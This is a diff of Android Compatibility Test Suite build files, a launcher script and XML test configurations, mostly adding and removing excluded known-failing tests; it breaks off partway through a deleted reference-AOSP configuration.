@@ -25,12 +25,15 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-preconditions
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-preconditions \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsPreconditions
diff --git a/tools/cts-reference-app-lib/Android.mk b/tools/cts-reference-app-lib/Android.mk
index fae85b4..8f6039d 100644
--- a/tools/cts-reference-app-lib/Android.mk
+++ b/tools/cts-reference-app-lib/Android.mk
@@ -24,6 +24,8 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_STATIC_JAVA_LIBRARIES := legacy-android-test junit
+
LOCAL_SDK_VERSION := current
LOCAL_MODULE := android.cts.refapp
diff --git a/tools/cts-tradefed/Android.mk b/tools/cts-tradefed/Android.mk
index 54b8f70..a84fb09 100644
--- a/tools/cts-tradefed/Android.mk
+++ b/tools/cts-tradefed/Android.mk
@@ -20,12 +20,17 @@
LOCAL_JAVA_RESOURCE_DIRS := res
LOCAL_JAVA_RESOURCE_DIRS += ../../common/host-side/tradefed/res
+LOCAL_MODULE := cts-tradefed-harness
+LOCAL_JAVA_LIBRARIES += tradefed compatibility-host-util
+include $(BUILD_HOST_JAVA_LIBRARY)
+include $(CLEAR_VARS)
LOCAL_SUITE_BUILD_NUMBER := $(BUILD_NUMBER_FROM_FILE)
LOCAL_SUITE_TARGET_ARCH := $(TARGET_ARCH)
LOCAL_SUITE_NAME := CTS
LOCAL_SUITE_FULLNAME := "Compatibility Test Suite"
-LOCAL_SUITE_VERSION := 8.0_r21
+LOCAL_SUITE_VERSION := 8.1_r17
+LOCAL_STATIC_JAVA_LIBRARIES += cts-tradefed-harness
LOCAL_MODULE := cts-tradefed
LOCAL_COMPATIBILITY_SUITE := general-tests
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index 15249c3..93f7824 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -31,15 +31,28 @@
fi;
}
+# readlink does not work on MacOS so rely on our own realpath
+realpath() {
+ [[ $1 = /* ]] && echo "$1" || echo "$PWD/${1#./}"
+}
+
checkPath aapt
checkPath adb
checkPath java
# check java version
-JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '[ "]1\.[678][\. "$$]')
-if [ "${JAVA_VERSION}" == "" ]; then
- echo "Wrong java version. 1.6, 1.7 or 1.8 is required."
- exit
+if [ "${EXPERIMENTAL_USE_OPENJDK9}" == "" ]; then
+ JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '[ "]1\.[678][\. "$$]')
+ if [ "${JAVA_VERSION}" == "" ]; then
+ echo "Wrong java version. 1.6, 1.7 or 1.8 is required."
+ exit
+ fi
+else
+ JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '^java .* "9.*')
+ if [ "${JAVA_VERSION}" == "" ]; then
+ echo "Wrong java version. Version 9 is required."
+ exit
+ fi
fi
# check debug flag and set up remote debugging
@@ -76,7 +89,7 @@
if [ -z ${CTS_ROOT} ]; then
# assume we're in an extracted cts install
- CTS_ROOT="$(dirname $0)/../.."
+ CTS_ROOT="$(dirname $(realpath $0))/../.."
fi;
JAR_DIR=${CTS_ROOT}/android-cts/tools
diff --git a/tools/cts-tradefed/res/config/cts-common.xml b/tools/cts-tradefed/res/config/cts-common.xml
new file mode 100644
index 0000000..d19cad1
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-common.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Common configuration for cts and cts-reference-aosp">
+
+ <include name="everything" />
+ <include name="cts-preconditions" />
+ <include name="cts-system-checkers" />
+ <include name="cts-known-failures" />
+
+ <option name="test-tag" value="cts" />
+
+ <option name="enable-root" value="false" />
+ <!-- retain 200MB of host log -->
+ <option name="max-log-size" value="200" />
+ <!-- retain 200MB of logcat -->
+ <option name="max-tmp-logcat-file" value="209715200" />
+
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="settings put global package_verifier_enable 0" />
+ <option name="teardown-command" value="settings put global package_verifier_enable 1"/>
+ </target_preparer>
+
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
+ <option name="property-name" value="ro.build.type" />
+ <option name="expected-value" value="user"/> <!-- Device should have user build -->
+ <option name="throw-error" value="false"/> <!-- Only print warning if not user build -->
+ </target_preparer>
+
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
+ <option name="property-name" value="ro.product.locale" />
+ <option name="expected-value" value="en-US"/> <!-- Device locale should be US English -->
+ <option name="throw-error" value="false"/> <!-- Only print warning if not en-US -->
+ </target_preparer>
+ <template-include name="reporters" default="basic-reporters" />
+
+ <!-- Include additional test metadata output. -->
+ <template-include name="metadata-reporters" default="empty" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-exclude.xml b/tools/cts-tradefed/res/config/cts-exclude.xml
new file mode 100644
index 0000000..240ffa1
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-exclude.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Excluded tests from main CTS runs">
+ <!-- b/64127136 -->
+ <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForBinderInVendorBan" />
+ <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
+ <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForVendorExecutingCore" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 40cff00..5d43956 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -19,11 +19,6 @@
<!-- <option name="compatibility:exclude-filter" value="MODULE_NAME PACKAGE_NAME.CLASS_NAME" /> Excludes whole class -->
<!-- <option name="compatibility:exclude-filter" value="MODULE_NAME PACKAGE_NAME.CLASS_NAME#TEST_NAME" /> Excludes individual test -->
- <!-- b/71775416 -->
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.PrivilegedUpdateTests#testDisableUpdatedSystemApp" />
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.PrivilegedUpdateTests#testPrivilegedAppUpgradePriorities" />
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.PrivilegedUpdateTests#testPrivilegedAppUpgradeRestricted" />
-
<!-- b/38182235 -->
<option name="compatibility:exclude-filter" value="CtsLocationTestCases android.location.cts.GnssTtffTests#testTtffWithNetwork" />
@@ -35,29 +30,8 @@
<option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverText" />
<option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverTextExtend" />
- <!-- b/17993121 -->
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testAppWidgetProviderCallbacks" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testBindAppWidget" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testCollectionWidgets" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testDeleteHost" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testDeleteHosts" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testGetAppWidgetIds" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testGetAppWidgetInfo" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testGetAppWidgetOptions" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testPartiallyUpdateAppWidgetViaWidgetId" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testPartiallyUpdateAppWidgetViaWidgetIds" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testTwoAppWidgetProviderCallbacks" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaComponentName" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetId" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetIds" />
-
- <!-- b/17530117 -->
- <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.AllocationTest#testBlackWhite" />
- <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.AllocationTest#testParamSensitivity" />
<!-- b/17989532 -->
<option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.SurfaceViewPreviewTest#testPreparePerformance" />
- <!-- b/23008511 -->
- <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.cts.CameraTest#testPreviewFpsRange" />
<!-- These test cases are only applicable to Android Auto Embedded targets.-->
<option name="compatibility:exclude-filter" value="CtsCarTestCases" />
@@ -92,26 +66,14 @@
<option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.VirtualMachine.HoldEventsTest#testHoldEvents001" />
<option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.VirtualMachine.ReleaseEventsTest#testReleaseEvents001" />
- <!-- b/18117279 b/21262226 b/23144425 -->
+ <!-- b/21262226 -->
<option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withMobile" />
- <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withWifi" />
- <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testUnmeteredConstraintExecutes_withWifi" />
<option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testUnmeteredConstraintFails_withMobile" />
- <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.TimingConstraintsTest#testJobParameters_unexpiredDeadline" />
<!-- b/62616944 -->
<option name="compatibility:exclude-filter" value="CtsLibcoreJavaUtilCollectionsTestCases" />
- <!-- b/17144778 -->
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ImageReaderDecoderTest#testHwAVCDecode360pForFlexibleYuv" />
- <!-- b/23827982 -->
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH264FlexArbitraryW" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH264SurfArbitraryW" />
-
- <!-- b/25651805 -->
- <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.ConnectivityManagerTest#testRestrictedNetworks" />
<!-- b/18682315 -->
- <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#testCreateSocket" />
<option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_bind" />
<option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_simple" />
<option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_wrapping" />
@@ -120,15 +82,6 @@
<option name="compatibility:exclude-filter" value="CtsOpenGlPerfTestCases android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingFast" />
<option name="compatibility:exclude-filter" value="CtsOpenGlPerfTestCases android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingSlow" />
- <!-- b/18091590 -->
- <option name="compatibility:exclude-filter" value="CtsOpenGlPerfTestCases android.openglperf.cts.GlVboPerfTest#testVboWithVaryingIndexBufferNumbers" />
-
- <!-- b/23192492 -->
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.ProtectedBroadcastsTest#testSendProtectedBroadcasts" />
-
- <option name="compatibility:exclude-filter" value="CtsSampleDeviceTestCases" />
- <option name="compatibility:exclude-filter" value="CtsSampleHostTestCases" />
-
<!-- b/18461670 -->
<option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.AudioPolicyBinderTest#test_getStreamVolumeLeak" />
<option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.AudioPolicyBinderTest#test_isStreamActive" />
@@ -148,21 +101,8 @@
<option name="compatibility:exclude-filter" value="x86_64 CtsRenderscriptLegacyTestCases" />
<option name="compatibility:exclude-filter" value="mips64 CtsRenderscriptLegacyTestCases" />
- <!-- b/23604254 -->
- <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.ExtendedInCallServiceTest#testAddNewOutgoingCallAndThenDisconnect" />
- <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.RemoteConferenceTest#testRemoteConferenceCallbacks_ConferenceableConnections" />
-
- <!-- b/23779020 -->
- <option name="compatibility:exclude-filter" value="CtsTransitionTestCases android.transition.cts.ChangeScrollTest#testChangeScroll" />
-
<!-- b/17536113 -->
<option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testNoAccessSilentlyFails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testOrderedActivityLaunchSequenceInEventLog" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testPackageUsageStatsIntervals" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testUsageEventsParceling" />
-
- <!-- b/23238984 -->
- <option name="compatibility:exclude-filter" value="CtsVoiceSettingsTestCases android.voicesettings.cts.ZenModeTest#testAll" />
<!-- b/26235244 -->
<option name="compatibility:exclude-filter" value="android.util.cts.EventLogTest#testWriteEventWithOversizeValue" />
@@ -183,15 +123,6 @@
<!-- b/36686383 -->
<option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testANR" />
- <!-- b/33090965 -->
- <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180" />
- <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360" />
- <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1280x0720" />
- <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080" />
-
- <!-- b/37545399 -->
- <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarTests#testLightNavigationBar" />
-
<!-- b/37482372 -->
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowHistoryPreservePortraitTest" />
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowInOutPortraitTest" />
@@ -200,6 +131,9 @@
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#startWithFragmentAndInitTitleMultiWindowPortraitTest" />
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#startWithFragmentNoHeadersMultiWindowPortraitTest" />
+ <!-- b/63916274 -->
+ <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.WiredHeadsetTest" />
+
<!-- b/38177396 -->
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#multiWindowHistoryPreserveLandscapeTest" />
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#multiWindowInOutLandscapeTest" />
@@ -233,23 +167,11 @@
<!-- b/62481870 -->
<option name="compatibility:exclude-filter" value="CtsNativeMediaAAudioTestCases android.nativemedia.aaudio.AAudioOutputStreamCallbackTest#testPlayback" />
- <!-- b/62844160 -->
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAutoSizeCallers_setText" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionSingleLineLtr" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionMultiLineLtr" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionMultiLineRtl" />
-
<!-- b/62976713 -->
<option name="compatibility:exclude-filter" value="arm64-v8a CtsMediaBitstreamsTestCases" />
<option name="compatibility:exclude-filter" value="x86_64 CtsMediaBitstreamsTestCases" />
<option name="compatibility:exclude-filter" value="mips64 CtsMediaBitstreamsTestCases" />
- <!-- b/38280830 -->
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testVp8Goog0Perf1280x0720" />
-
- <!-- b/63566721 -->
- <option name="compatibility:exclude-filter" value="CtsWrapWrapDebugTestCases" />
-
<!-- b/38420898 -->
<option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyAccelMultiChannel" />
<option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyGyroMultiChannel" />
@@ -274,15 +196,15 @@
<option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRegisterMultipleChannels" />
<option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testReconfigure" />
- <!-- b/63916274 -->
- <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.WiredHeadsetTest" />
+ <!-- b/65843095 -->
+ <option name="compatibility:exclude-filter" value="CtsLogdTestCases logd#statistics" />
+ <option name="compatibility:exclude-filter" value="CtsLogdTestCases logd#sepolicy_rate_limiter" />
- <!-- b/79134522 -->
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
+ <!-- b/67377433 -->
+ <!-- fails only on angler/bullhead userdebug -->
+ <option name="compatibility:exclude-filter" value="CtsLiblogTestCases liblog#wrap_mode_blocks" />
+ <!--b/118833202 -->
+ <!-- test fails if usb charging is disabled which is not mandatory -->
+ <option name="compatibility:exclude-filter" value="CtsDumpsysHostTestCases android.dumpsys.cts.StoragedDumpsysTest#testStoragedOutput" />
- <!-- b/69277153 -->
- <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
-
- <!-- b/121116786 -->
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AppSecurityTests#testPermissionDiffCert" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-reference-aosp.xml b/tools/cts-tradefed/res/config/cts-reference-aosp.xml
deleted file mode 100644
index 724866f..0000000
--- a/tools/cts-tradefed/res/config/cts-reference-aosp.xml
+++ /dev/null
@@ -1,177 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Runs a subset of CTS tests using a reference AOSP system image">
-
- <include name="cts" />
-
- <option name="plan" value="cts-reference-aosp" />
-
- <option name="compatibility:primary-abi-only" value="true" />
-
- <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
- <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
-
- <!-- Tell all HostTests to exclude certain annotations -->
- <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
- <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
-
- <!-- Radio system of a reference AOSP system image is not checked -->
- <option name="compatibility:exclude-filter" value="CtsTelephonyTestCases" />
- <option name="compatibility:exclude-filter" value="CtsTelephony2TestCases" />
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testLocationFeatures" />
- <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.PackageIncidentTest#testPackageServiceDump" />
-
- <!-- Exclude telephony related testcases -->
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testGetIccAuthentication" />
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testHasCarrierPrivileges" />
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testSendDialerSpecialCode" />
- <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_metered" />
- <option name="compatibility:exclude-filter" value="CtsNetTestCasesLegacyApi22 android.net.cts.legacy.api22.ConnectivityManagerLegacyTest#testStartUsingNetworkFeature_enableHipri" />
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testAppSpecificSmsToken" />
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testReceiveTextMessage" />
- <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.NoSystemFunctionPermissionTest#testSendSms" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppDetails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppSummary" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testCallback" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testDeviceSummary" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testTagDetails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidDetails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUserSummary" />
-
- <!-- Exclude not applicable testcases-->
- <option name="compatibility:exclude-filter" value="CtsSignatureTestCases" />
- <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.UsbDebuggingTest#testUsbDebugging" />
-
- <!--
- Exclude Webkit related testcases
- TODO(jaekyun@): b/63600240, Webkit related testcases will be revived when the RRO packaging logic is revised so that we can selectively compose a RRO from overlays.
- -->
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases" />
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.EphemeralTest#testWebViewLoads" />
- <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.WebViewTest#testWebView" />
- <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testCookieManager" />
- <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testStrictMode" />
- <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testWebViewVersionApi" />
- <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testWebViewVersionApiOnUiThread" />
- <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.cts.EmojiTest#testEmojiGlyph" />
- <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.util.cts.LinkifyTest#testAddLinks_doesNotAddLinksForUrlWithoutProtocolAndWithoutKnownTld" />
- <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.PathClippingTests#testWebViewClipWithCircle" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAccessAutoLinkMask" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinkIfAppendedTextCompletesPartialUrlAtTheEndOfExistingText" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinkIfAppendedTextUpdatesUrlAtTheEndOfExistingText" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinksEvenWhenThereAreUrlsSetBefore" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinksWhenAutoLinkIsEnabled" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinksWhenTextIsSpannableAndContainsUrlAndAutoLinkIsEnabled" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_doesNotAddLinksWhenAppendedTextDoesNotContainLinks" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_setsMovementMethodWhenTextContainsUrlAndAutoLinkIsEnabled" />
-
- <!--
- Exclude testcases failing on AOSP Pixel system.img
- TODO(jaeshin@): b/63302562, Track future fixes to AOSP Pixel system.img and revive these testcases accordingly.
- -->
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.EphemeralTest#testExposedSystemActivities" />
- <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceCommand" />
- <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceSearchHandsFree" />
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
- <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp8Other0Qual1920x1080" />
-
- <!--
- exclude below three CtsAppTestCases testcases failing on AOSP system.img
- -->
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOpenOptionsMenu" />
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOptionsMenuKey" />
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
-
- <!--
- Exclude Verity tese cases, because we need to disable Verity to test with GSI
- -->
